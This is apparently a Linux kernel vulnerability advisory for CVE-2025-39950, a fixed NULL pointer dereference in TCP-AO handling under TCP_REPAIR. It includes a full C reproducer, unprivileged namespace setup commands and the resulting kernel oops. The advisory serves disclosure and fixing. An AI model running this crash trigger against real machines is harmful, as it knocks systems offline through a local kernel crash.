CVE-2025-39950

In the Linux kernel, the following vulnerability has been resolved:<br /> <br /> net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR<br /> <br /> A NULL pointer dereference can occur in tcp_ao_finish_connect() during a<br /> connect() system call on a socket with a TCP-AO key added and TCP_REPAIR<br /> enabled.<br /> <br /> The function is called with skb being NULL and attempts to dereference it<br /> on tcp_hdr(skb)-&gt;seq without a prior skb validation.<br /> <br /> Fix this by checking if skb is NULL before dereferencing it.<br /> <br /> The commentary is taken from bpf_skops_established(), which is also called<br /> in the same flow. Unlike the function being patched,<br /> bpf_skops_established() validates the skb before dereferencing it.<br /> <br /> int main(void){<br /> struct sockaddr_in sockaddr;<br /> struct tcp_ao_add tcp_ao;<br /> int sk;<br /> int one = 1;<br /> <br /> memset(&amp;sockaddr,&amp;#39;\0&amp;#39;,sizeof(sockaddr));<br /> memset(&amp;tcp_ao,&amp;#39;\0&amp;#39;,sizeof(tcp_ao));<br /> <br /> sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br /> <br /> sockaddr.sin_family = AF_INET;<br /> <br /> memcpy(tcp_ao.alg_name,"cmac(aes128)",12);<br /> memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);<br /> tcp_ao.keylen = 16;<br /> <br /> memcpy(&amp;tcp_ao.addr,&amp;sockaddr,sizeof(sockaddr));<br /> <br /> setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &amp;tcp_ao,<br /> sizeof(tcp_ao));<br /> setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &amp;one, sizeof(one));<br /> <br /> sockaddr.sin_family = AF_INET;<br /> sockaddr.sin_port = htobe16(123);<br /> <br /> inet_aton("127.0.0.1", &amp;sockaddr.sin_addr);<br /> <br /> connect(sk,(struct sockaddr *)&amp;sockaddr,sizeof(sockaddr));<br /> <br /> return 0;<br /> }<br /> <br /> $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall<br /> $ unshare -Urn<br /> <br /> BUG: kernel NULL pointer dereference, address: 00000000000000b6<br /> PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0<br /> Oops: Oops: 0000 [#1] SMP NOPTI<br /> Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop<br /> Reference Platform, BIOS 6.00 11/12/2020<br /> RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)